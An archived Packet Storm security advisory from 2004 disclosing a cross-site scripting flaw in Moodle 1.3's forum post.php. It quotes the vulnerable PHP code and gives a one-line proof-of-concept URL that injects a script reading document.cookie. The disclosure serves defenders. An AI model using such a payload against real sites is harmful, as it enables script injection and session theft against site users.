what you don't know can hurt you

moodle13.2.txt

moodle13.2.txt
Posted Aug 10, 2004
Authored by Javier Ubilla Brenni

Moodle versions 1.3 and below suffer from multiple cross site scripting flaws.

tags | advisory, xss
MD5 | 3c4960d6144091dcdfcab8a80aa9dd76

moodle13.2.txt

Change Mirror Download



+--------------------------------+
| |
| XSS in Moodle < 1.3 (post.php) |
| |
+--------------------------------+

Autor: Javier Ubilla Brenni <javierubilla[at]spymac.com>
Date: 02/08/04

Software Description:
~~~~~~~~~~~~~~~~~~~~

"Moodle is a course management system (CMS) - a software package designed to help educators create quality online courses."
www.moodle.org

Bug:
~~~

Post.php is vulnerable to an XXS attack.
The bug was found in the $reply variable :

/* Begin of vulnerable code */

} else if (isset($reply)) { // User is writing a new reply

if (! $parent = forum_get_post_full($reply)) {
error("Parent post ID was incorrect ($reply)");
}
if (! $discussion = get_record("forum_discussions", "id", $parent->discussion)) {
error("This post is not part of a discussion! ($reply)");
}
if (! $forum = get_record("forum", "id", $discussion->forum)) {
error("The forum number was incorrect ($discussion->forum)");
}
if (! $course = get_record("course", "id", $discussion->course)) {
error("The course number was incorrect ($discussion->course)");
}

if (! forum_user_can_post($forum)) {
error("Sorry, but you can not post in this forum.");
}

if ($cm = get_coursemodule_from_instance("forum", $forum->id, $course->id)) {
if (groupmode($course, $cm) and !isteacheredit($course->id)) { // Make sure user can post here
if (mygroupid($course->id) != $discussion->groupid) {
error("Sorry, but you can not post in this discussion.");
}
}
if (!$cm->visible and !isteacher($course->id)) {
error(get_string("activityiscurrentlyhidden"));
}
}

/* End of vulnerable code */

Here is the bug:

if (! $parent = forum_get_post_full($reply)) {
error("Parent post ID was incorrect ($reply)");

Exploit:
~~~~~~~~

http://www.vulnerable.com/moodle/mod/forum/post.php?reply=%3Cscript%3Ealert(document.cookie);%3C/script%3E

Solution:
~~~~~~~~~
Upgrade to the last version

Vendor Status:
~~~~~~~~~~~~~~
Notified.

Credits: Bug found by Javier Ubilla and Ariel.
~~~~~~~

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close